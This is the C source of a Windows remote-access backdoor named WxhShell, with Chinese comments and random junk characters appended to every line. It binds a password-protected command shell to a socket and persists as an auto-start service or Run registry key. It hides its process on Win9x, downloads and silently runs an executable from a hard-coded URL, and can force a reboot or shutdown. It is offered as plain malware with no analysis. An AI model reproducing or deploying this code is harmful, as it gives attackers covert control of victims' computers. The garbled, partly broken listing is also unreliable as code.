    else { \,ARYwd  
    closesocket(wsh); u n\!K  
    ExitThread(0); +%7v#CY &  
    } Q [kbEhv;  
    break; _t|| v  
    } X0Y1I}gD  
  // 获取shell ,Md8A`7x~  
  case 's': { $wg5q\Rv  
    CmdShell(wsh); L15?\|':Y  
    closesocket(wsh); nICc}U?k  
    ExitThread(0); B>rz<bPT  
    break; r@ujE,D=k  
  } xHq"1Vs=  
  // 退出 U(P^-J<n1  
  case 'x': { FkY}6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X]8(_[Y  
    CloseIt(wsh); Q^prHn*@  
    break; px8988X  
    } a$r- U_?  
  // 离开 $nF|n+m  
  case 'q': { .A<G$ db ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ gMoW  
    closesocket(wsh); h/5|3  
    WSACleanup(); Z<L}ur  
    exit(1); ^\ A[^' 9  
    break; 4&X D  
        } cWjb149@)  
  } p.6C.2q~s]  
  } -} Zck1  
n75)%-  
  // 提示信息 k>E^FB=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fb-Lp#!T39  
} q;Tdqv!Ju  
  } pqe7a3jr  
|eykb?j`  
  return; uzg(C#sp  
} WJWi'|C4  
KBE3q)  
// shell模块句柄 .2"-N5Z  
int CmdShell(SOCKET sock) m:B9~ lbT+  
{ ${m;x:'  
STARTUPINFO si; V5:ad  
ZeroMemory(&si,sizeof(si)); (StX1g'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 60,z!Vv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EQI9 J#;+  
PROCESS_INFORMATION ProcessInfo; 01=nS?  
char cmdline[]="cmd"; M.fAFL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'yxN1JF  
  return 0; O+x"c3@Z)D  
} zU7co.G  
WX .Ax$fT  
// 自身启动模式 Zc9@G-  
int StartFromService(void) oC ?UGY~xL  
{ } I>68dS[  
typedef struct !C\$=\$  
{ 9d&@;&al  
  DWORD ExitStatus; ^POHQQ  
  DWORD PebBaseAddress; ypU-/}Cf,  
  DWORD AffinityMask; dUN{@a\R0  
  DWORD BasePriority; ' ` _TFTO  
  ULONG UniqueProcessId; }Q $}LR@  
  ULONG InheritedFromUniqueProcessId; q9Zp8&<EqH  
}   PROCESS_BASIC_INFORMATION; T_R2BBT v  
F!7dGa$  
PROCNTQSIP NtQueryInformationProcess; `eZzYe(N  
Ov8^6O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QN47+)cVt"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vu.VH([b]Q  
&O +?#3  
  HANDLE             hProcess; /tm2b<G  
  PROCESS_BASIC_INFORMATION pbi; n(I,pF  
"DaE(S&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "&Hr)yyWG  
  if(NULL == hInst ) return 0; a-e_q  
"I)/|x\G*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V>Dqw!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +YZ*>ki  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F m?j-'  
b@QCdi,u  
  if (!NtQueryInformationProcess) return 0; <fHJ9(5$V  
7 Tb[sc'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tGE=!qk  
  if(!hProcess) return 0; Cj%n?-  
%xt;&HE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q,nJz*AJ  
+3uPHpMB-  
  CloseHandle(hProcess); T@wgWE<0y_  
5{/uHscwLa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'oKen!?A  
if(hProcess==NULL) return 0; u9nJ;:  
|I[/Fl:  
HMODULE hMod; "; 1@f"kw  
char procName[255]; P~ : N  
unsigned long cbNeeded; d1P|v( `S9  
"QD>m7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "I3 #/~q  
8 Y4mTW  
  CloseHandle(hProcess); IR2=dQS  
dx@|M{jz'  
if(strstr(procName,"services")) return 1; // 以服务启动 Mj&G5R~_  
s$%t2UaV  
  return 0; // 注册表启动 Hr_5N,  
}  `j1oxJm  
azz=,^U#  
// 主模块 |\zzOfaO  
int StartWxhshell(LPSTR lpCmdLine) zu3Fi = |0  
{ rJZR8bo  
  SOCKET wsl; (> W \Nf  
BOOL val=TRUE; l~]D|92  
  int port=0; l-Be5?|{_  
  struct sockaddr_in door; ]p8 zT|bv  
* N]^(+/A  
  if(wscfg.ws_autoins) Install(); },n?  
X+1Mv  
port=atoi(lpCmdLine); d-3.7nJ:  
/#WvC;B  
if(port<=0) port=wscfg.ws_port; #x qiGK  
]_BH"ng}  
  WSADATA data; Q,K$)bM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ({ O~O5k  
O8 OAXRt/Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (xfh 9=.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .TMLg(2hgv  
  door.sin_family = AF_INET; }* \*<d 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ZghV1z  
  door.sin_port = htons(port); MaPOmS8?  
fat;5XL@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3eg6 CdT  
closesocket(wsl); ^T:L6:  
return 1; E!'6v DVC:  
} AsD$M*It  
G6QD`ED  
  if(listen(wsl,2) == INVALID_SOCKET) { +h@.P B^`~  
closesocket(wsl); |1GOm=GNK  
return 1; 6Df*wi!jI  
} ,<N{Y[n]e  
  Wxhshell(wsl); HfZ^ED"}  
  WSACleanup(); ;L,i">_%u[  
Xp] jF^5  
return 0; j7U&a}(  
u^G Y7gah  
} M^*\ $K%  
Esu {c9,  
// 以NT服务方式启动 j]FK.G'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "fr{:'HX  
{ ),CKuq>  
DWORD   status = 0; ? cXW\A(  
  DWORD   specificError = 0xfffffff; /IN#1I!K  
I_5/e> 9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U shIQh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s7afj t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 76bMy4re  
  serviceStatus.dwWin32ExitCode     = 0; hxzA1s%~  
  serviceStatus.dwServiceSpecificExitCode = 0; CuD}Uo+u  
  serviceStatus.dwCheckPoint       = 0; O wuc9  
  serviceStatus.dwWaitHint       = 0; &r.M~k >  
C{,^4Eh3r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9dw* ++  
  if (hServiceStatusHandle==0) return; KF6C=,Yc%  
~o#mX?'7  
status = GetLastError(); NT0n [o^  
  if (status!=NO_ERROR) N8pV[\f  
{ .X qeO@z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 81"` B2  
    serviceStatus.dwCheckPoint       = 0; Pz34a@%"  
    serviceStatus.dwWaitHint       = 0; _Dd>e=v  
    serviceStatus.dwWin32ExitCode     = status; #|4G,!  
    serviceStatus.dwServiceSpecificExitCode = specificError; =\_gT=tZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m% 3D  
    return; HdgNy\  
  } x!fG%o~h  
"w$,`M?2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?m5E Xe  
  serviceStatus.dwCheckPoint       = 0; *L9v(Kc  
  serviceStatus.dwWaitHint       = 0; Gbjh|j=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #CPLvg#  
} 7UY4* j|[C  
5[g\.yi2_]  
// 处理NT服务事件,比如:启动、停止 ' Ut4=@)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rf-yUH]&S  
{ }NoP(&ebz*  
switch(fdwControl) hf]m'5pb  
{ gyD;kn\CP  
case SERVICE_CONTROL_STOP: i(pHJP:a:  
  serviceStatus.dwWin32ExitCode = 0; 2,dWD<h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $'I&u  
  serviceStatus.dwCheckPoint   = 0; D HT^.UM28  
  serviceStatus.dwWaitHint     = 0; /2zan}  
  { ,,BP}f+l$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =/_uk{  
  } _XT'h;m  
  return; $,2T~1tE  
case SERVICE_CONTROL_PAUSE: PcEE`.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FLs$  
  break; SOq:!Qt  
case SERVICE_CONTROL_CONTINUE: *2u~5 Kc<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /W)A[jR  
  break; =qc+sMo  
case SERVICE_CONTROL_INTERROGATE: JLnv O  
  break; w8>h6x "  
}; k'PvTWR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =$Mf:F@  
} uf9 0  
GkX Se)#p  
// 标准应用程序主函数 ('SId@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qw:!Rw,x  
{ E0R6qS:'  
BaW4 s4u  
// 获取操作系统版本 uZtN,Un  
OsIsNt=GetOsVer(); +:uz=~m o`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Zp{  
7M~sol[*  
  // 从命令行安装 Nwz?*~1  
  if(strpbrk(lpCmdLine,"iI")) Install(); /$CTz xd1  
RzjUrt  
  // 下载执行文件 l>}f{az-T  
if(wscfg.ws_downexe) { <BED&j!qvP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~<f[7dBv  
  WinExec(wscfg.ws_filenam,SW_HIDE); _0v+'&bz  
} sde>LZet/  
}VZExqm)  
if(!OsIsNt) { V-}}?c1 F  
// 如果时win9x,隐藏进程并且设置为注册表启动 <M@-|K"Eb  
HideProc(); ey=KAt  
StartWxhshell(lpCmdLine); N"G aQ  
} q50F!yHC-  
else 2^=.j2  
  if(StartFromService()) >P SO]%mE  
  // 以服务方式启动 q:/df]Ntt  
  StartServiceCtrlDispatcher(DispatchTable); 4lB??`UN  
else /W$i8g  
  // 普通方式启动 8{!d'Pks  
  StartWxhshell(lpCmdLine); 3{$7tck,  
N o6!gZ1  
return 0; L)bMO8JH~m  
} ##=$ $1Ki  
OQ&N]P2p  
^" X.aksA  
U_(>eVi7F  
=========================================== qU7_%Z  
iCF},W+  
^sD M>OHp  
-3R:~z^L  
e4YP$}_L  
QM F   
" nf0u:M"fm  
IibrZ/n6  
#include <stdio.h> X`KSj N&(  
#include <string.h> ]alc%(=  
#include <windows.h> t`"m@  
#include <winsock2.h> ]a4U\yr  
#include <winsvc.h> M_};J;  
#include <urlmon.h> uqC#h,~ 0  
Y/kq!)u;%L  
#pragma comment (lib, "Ws2_32.lib") hc3hU   
#pragma comment (lib, "urlmon.lib") ZOqS"3j! j  
}+9?)f{?@  
#define MAX_USER   100 // 最大客户端连接数 KOS0Du  
#define BUF_SOCK   200 // sock buffer H\R a*EO~j  
#define KEY_BUFF   255 // 输入 buffer %hsCB .r>|  
i]%f94  
#define REBOOT     0   // 重启 e~SK*vR%]  
#define SHUTDOWN   1   // 关机 Nnl3r@  
YpDJ(61+  
#define DEF_PORT   5000 // 监听端口 |nZ^RCHog  
aDK b78 1d  
#define REG_LEN     16   // 注册表键长度 </{Zb.  
#define SVC_LEN     80   // NT服务名长度 cjEqN8  
$V(]z`b&  
// 从dll定义API q++r\d^{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2K91E}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #[#evlr=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Y/B49  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AU$~Ap*rsa  
[yXmnrxA  
// wxhshell配置信息 ^-_*@e*JE  
struct WSCFG { TVD~Ix  
  int ws_port;         // 监听端口 sllT1%?  
  char ws_passstr[REG_LEN]; // 口令 "l56?@-x  
  int ws_autoins;       // 安装标记, 1=yes 0=no `N *:,8j  
  char ws_regname[REG_LEN]; // 注册表键名 -I|xW  
  char ws_svcname[REG_LEN]; // 服务名 0 N,<v7PX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s1D<R,J|H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ={O ~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Z//  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  vmqa_gU\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @'R)$:I%L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Yj5Mj|#  
OoSk^U)  
}; ,-#MEr  
\)6glAtN  
// default Wxhshell configuration _6NUtU  
struct WSCFG wscfg={DEF_PORT, );gY8UL^  
    "xuhuanlingzhe", Y<xqws  
    1, S/'0czDMW  
    "Wxhshell", a;HAuy`M x  
    "Wxhshell", E 5&Z={  
            "WxhShell Service", :(n<c  
    "Wrsky Windows CmdShell Service", I}4 PB+yu  
    "Please Input Your Password: ", *): |WDR  
  1, Cs6`lX >  
  "http://www.wrsky.com/wxhshell.exe", z qeQ  
  "Wxhshell.exe" j>\c > U  
    }; vA/SrX.  
G)Gp}4gV}  
// 消息定义模块 _uQ]I^'D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; egaX[ j r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z'q~%1t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S}@7Z`  
char *msg_ws_ext="\n\rExit."; y&NqVR=   
char *msg_ws_end="\n\rQuit."; M~taZt4  
char *msg_ws_boot="\n\rReboot..."; )7>GXZG>=  
char *msg_ws_poff="\n\rShutdown..."; AByl1)r|  
char *msg_ws_down="\n\rSave to "; @t9HRL?T~  
PftK>,+,  
char *msg_ws_err="\n\rErr!"; S<i$0p8J;  
char *msg_ws_ok="\n\rOK!"; rOSov"7  
iHD!v7d7  
char ExeFile[MAX_PATH]; x0 )V o]r  
int nUser = 0; "I.6/9  
HANDLE handles[MAX_USER]; h6h6B.\ Ld  
int OsIsNt; Ei4^__g\'  
 =}`d  
SERVICE_STATUS       serviceStatus; ic2 D$`M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u&:N`f  
= l`)b  
// 函数声明 y(COB6r  
int Install(void); Pd91<L  
int Uninstall(void); z#tIa  
int DownloadFile(char *sURL, SOCKET wsh); {[H_Vl@  
int Boot(int flag); C*Vm}|)  
void HideProc(void); {D4FYr J  
int GetOsVer(void); 6@N,'a8r  
int Wxhshell(SOCKET wsl); 0JlNUO5Nt  
void TalkWithClient(void *cs); 3(BL  
int CmdShell(SOCKET sock); X0.H(p#s  
int StartFromService(void); &6x(%o|  
int StartWxhshell(LPSTR lpCmdLine); '}Fe&%  
yfG;OnkZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 46:<[0Psl/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u H[WlZ4  
ppAbG,7  
// 数据结构和表定义 0?7yM:!l  
SERVICE_TABLE_ENTRY DispatchTable[] = PIri|ZS  
{ V\L;EHtc$  
{wscfg.ws_svcname, NTServiceMain}, is<:}z  
{NULL, NULL} .vu7$~7  
}; .WF"vUp  
kKyU?/aj  
// 自我安装 b"I#\;Ym  
int Install(void) M)bQvjj  
{ cgb>Naa<  
  char svExeFile[MAX_PATH]; h.\I tK{)  
  HKEY key; Tv``\<   
  strcpy(svExeFile,ExeFile); !nBbt?*  
k~tEUsv  
// 如果是win9x系统,修改注册表设为自启动 4Q|>k )H  
if(!OsIsNt) { <o(;~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t<!m4Yd|#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4S_f2P2J  
  RegCloseKey(key); S2$E`' J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qezWfR`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Og@tho  
  RegCloseKey(key); (?qCtLZ  
  return 0; Sy8t2lk  
    } t!?`2Z5  
  } !l'nX  
} |;gx;qp4cN  
else { 8~'cP?  
 Ng#psN  
// 如果是NT以上系统,安装为系统服务 B"43o7C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x"2p5T7*>  
if (schSCManager!=0) _^<vp  
{ Cd%5XD^  
  SC_HANDLE schService = CreateService , 'pYR]3  
  ( L ]')=J+  
  schSCManager, bQaRl=:[:  
  wscfg.ws_svcname, 6N@=*0kh-  
  wscfg.ws_svcdisp, *l_a=[<[  
  SERVICE_ALL_ACCESS, '}hSh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K?l|1jez(#  
  SERVICE_AUTO_START, gfL :SP8  
  SERVICE_ERROR_NORMAL, ('z=/"(l  
  svExeFile, o-<i+To%  
  NULL, [+[ W\6  
  NULL, y_WC"  
  NULL, Oc)n,D)0  
  NULL, :,8y8z$+  
  NULL ]j&m\'-s  
  ); ioi/`iQR  
  if (schService!=0)  Q6 *n'6  
  { {\$S585  
  CloseServiceHandle(schService); >k @t.PeoV  
  CloseServiceHandle(schSCManager); ?'V78N sA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); maa pX/J  
  strcat(svExeFile,wscfg.ws_svcname); G@s:|oe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c^|8qvS $  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z!v,;MW  
  RegCloseKey(key); @[^ 3y C#  
  return 0; eu(Fhs   
    } ]5'*^rz ^  
  } ~A0AB `7  
  CloseServiceHandle(schSCManager); =-dnniKW4  
} DFr$2Y3H  
} Jk.x^  
8r( Vz  
return 1; 11PL1zzH  
} Vz mlKVE  
]y OM  
// 自我卸载 r`"_D%kc  
int Uninstall(void) ev&l=(hY  
{ ]D6<6OB  
  HKEY key; kHK<~srB  
}w f8y  
if(!OsIsNt) { sX?arI=_U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~D5 -G?%$"  
  RegDeleteValue(key,wscfg.ws_regname); }-[l)<F:  
  RegCloseKey(key); X "Eqhl<t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SrA6}kS  
  RegDeleteValue(key,wscfg.ws_regname); KE\>T:  
  RegCloseKey(key); XU'(^Y8Imz  
  return 0; ~vF*&^4Vh  
  } |1wZ`wGZ:L  
} ],c0nz^%BR  
} Kj0)/Fjl+  
else { % 3#g-  
C?. ;3 h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =o@}~G&HA  
if (schSCManager!=0) rbf5~sw&8+  
{ mpYBMSLM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L' y0$  
  if (schService!=0) 6F^/k,(k4  
  { zZ}. 2He8  
  if(DeleteService(schService)!=0) { Wi$?k {C  
  CloseServiceHandle(schService); QmBHD;Gf  
  CloseServiceHandle(schSCManager); t(}Y/'  
  return 0; #|\|G3Si %  
  } WGV]O|  
  CloseServiceHandle(schService); {Lju7'5L  
  } wW TuEM  
  CloseServiceHandle(schSCManager); ;)rhx`"n  
} z{R Mb  
} ejg!1*H@n  
8h ol4'B  
return 1; 0,0WdJAe  
} y1`%3\  
T3b0"o27  
// 从指定url下载文件  3B#fnj  
int DownloadFile(char *sURL, SOCKET wsh) 9Zx| L/\  
{ A7QT4h&6  
  HRESULT hr; 1dr g5  
char seps[]= "/"; K`=U5vG^  
char *token; xgOt%7sb  
char *file; "4XjABJ4'  
char myURL[MAX_PATH]; !@V]H  
char myFILE[MAX_PATH]; s\'t=}0q  
-/8V2dv3  
strcpy(myURL,sURL); X>dQK4!R  
  token=strtok(myURL,seps); 2Jo|P A` 9  
  while(token!=NULL) (ht"wY#T<(  
  { n(A;:) W{  
    file=token; +46& Zb35  
  token=strtok(NULL,seps); i% 0 qN  
  } Ps! \k%FUl  
ca &zYXy  
GetCurrentDirectory(MAX_PATH,myFILE); ^cd bM  
strcat(myFILE, "\\"); YloE4PAY7  
strcat(myFILE, file); E=.J*7  
  send(wsh,myFILE,strlen(myFILE),0); .yDR2 sW  
send(wsh,"...",3,0); CS%ut-K<5M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZrYRLg  
  if(hr==S_OK) /p-k'387  
return 0; dnANlNMk?  
else xfUV'=~(  
return 1; ILG&l<!E  
BDp(&=ktq  
} NX8w(~r,:  
= CXX.%N  
// 系统电源模块 h6Vd<sV\tf  
int Boot(int flag) a;i} <n7  
{ }lk9|U#6*`  
  HANDLE hToken; pJ?y  
  TOKEN_PRIVILEGES tkp; ]_>38f7h  
>U:-U"rA?  
  if(OsIsNt) { n~,6!S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h\C1:0x{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jxK `ShW=  
    tkp.PrivilegeCount = 1; HELTL$j,b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M7DoAS{6e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp ]H&5.*  
if(flag==REBOOT) { *R&77 o7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vl7V?`_4  
  return 0; I/h(*~/  
} JWt@vf~  
else { 8yr-X!eF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mt4`~`6  
  return 0; wC1) \ld  
} Qz"@<qgQy  
  } @ /e{-Q  
  else { 8v)Z/R-  
if(flag==REBOOT) { 7vqE @;:dt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yr zyus  
  return 0; 'mU\X!- 4<  
} =+e;BYD#!  
else { F0xm% ?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "t{D5{q|[k  
  return 0; p=Q o92 NH  
} 2$Z4 >!  
} ZB}zT9JaE  
rp-.\Hl/a  
return 1; 3qfQlqJ&3  
} pfk)_;>,  
k DKfJp&a  
// win9x进程隐藏模块 s 4 Uk5<  
void HideProc(void) Si;eBPFH  
{ Dk~ JH9#  
`C:J{`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \n0Gr\:  
  if ( hKernel != NULL ) ZYl*-i&~?  
  { N8wA">u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~\R+p~>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3k+46Wp  
    FreeLibrary(hKernel); Mc|UD*Z  
  } LZPLz@=&]  
c5Hm94, p  
return; c"'JMq  
} $+ \JT/eG9  
4m9]d)  
// 获取操作系统版本 ds+0y;vc  
int GetOsVer(void) =sXk,I;  
{ ]gb?3a}A  
  OSVERSIONINFO winfo; uQkFFWS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Q/BTT%X  
  GetVersionEx(&winfo); uY )|   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JOq&(AZe  
  return 1; 0bIhP,4&  
  else grCz@i  
  return 0; yzCamm4~0  
} cZ/VMQEr  
;#2yF34gv  
// 客户端句柄模块 ma2-66M~j  
int Wxhshell(SOCKET wsl) DTV"~>@  
{ M[dJQ (  
  SOCKET wsh; _K>YB>W}7  
  struct sockaddr_in client; cr{f*U6`  
  DWORD myID; SR'u*u!  
Y&b JKX  
  while(nUser<MAX_USER) a/ Z\h{*  
{ {Ve_u  
  int nSize=sizeof(client); H|!|fo-Tx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pL'+sW  
  if(wsh==INVALID_SOCKET) return 1; OEgp!J  
"\Nn,3qp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G Y ]bw  
if(handles[nUser]==0) NHz hGg]  
  closesocket(wsh); IsiCHtY9  
else X[iQ%Y$/n  
  nUser++; .{#J2}+[_}  
  } 20RISj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RC]-9gd3Q  
 Hn,;G`{  
  return 0; ^&8xfI6?  
} w`K=J!5y2g  
[Gb8o'  
// 关闭 socket r`CsR0[  
void CloseIt(SOCKET wsh) OM7EmMa;  
{ w'D=K_h  
closesocket(wsh); Zut"P3d=J  
nUser--; U> 1voc  
ExitThread(0); @ **]o  
} LZ#SX5N  
O9[Dae{i  
// 客户端请求句柄 `GT{=XJfY  
void TalkWithClient(void *cs) 4Q(GX.5  
{ .q (1  
D~JrO]mi  
  SOCKET wsh=(SOCKET)cs; <@2g.+9  
  char pwd[SVC_LEN]; 5"9!kZ(<  
  char cmd[KEY_BUFF]; },G5!3  
char chr[1]; g flu!C6  
int i,j; LYyOcb[x  
&,~Oi(SX5  
  while (nUser < MAX_USER) { aRF}F E,u  
G$$y\e$  
if(wscfg.ws_passstr) { 4brKAqg.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dJD8c 2G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]g|Cwu  
  //ZeroMemory(pwd,KEY_BUFF); <2>Qr(bb  
      i=0; BO)Q$*G~JD  
  while(i<SVC_LEN) { ify}xv  
Mu]1e5^]  
  // 设置超时 `Kq4z62V  
  fd_set FdRead; i"o %Gc  
  struct timeval TimeOut; &ywU^hBh  
  FD_ZERO(&FdRead); )>|x2q  
  FD_SET(wsh,&FdRead); j UCrj'  
  TimeOut.tv_sec=8; u' +;/8  
  TimeOut.tv_usec=0; 6#/v:;bF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f+ Ht  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E;AOCbV*$  
JQ)w/@Vu=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;4ETqi9  
  pwd=chr[0]; m<uBRI*I  
  if(chr[0]==0xd || chr[0]==0xa) { "WE*ED  
  pwd=0; fTg^~XmJ  
  break; +GqUI~a  
  } hMvLx>q3)  
  i++; KN-)m ta&  
    } wz=c#}0dB  
$@(+" $  
  // 如果是非法用户,关闭 socket '6zD`Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B)}.%G*  
} `suEN @^  
$,9A?'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ny{Yr>:2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h#7p&F  
Doj>Irj? 7  
while(1) { nL@(|nJ[  
j!<(`  
  ZeroMemory(cmd,KEY_BUFF); J}'a|a@bk  
X1PXX!]lo[  
      // 自动支持客户端 telnet标准   oF0BBs$  
  j=0; p`-Oz]  
  while(j<KEY_BUFF) { ic(`Ev  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (!B1} 5"  
  cmd[j]=chr[0]; nkn4VA?"  
  if(chr[0]==0xa || chr[0]==0xd) { .P^&sl*J  
  cmd[j]=0; yTb#V"eR  
  break; JcDcYB  
  } 1Vy8TV3D  
  j++; \DC0`  
    } :@8N${7`$A  
14 Toi  
  // 下载文件 VHihC]ks,  
  if(strstr(cmd,"http://")) { TtKV5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6A9 r{'1  
  if(DownloadFile(cmd,wsh)) 7lH3)9G;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +XP9=U*g  
  else 2j <Y>Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n3Q Rn^  
  } @zGz8IF  
  else { ^ 9`O ^  
1@W*fVn  
    switch(cmd[0]) { &=S<StH  
  si=m5$V  
  // 帮助 ?)V?6"fFP  
  case '?': { ; xx u,  
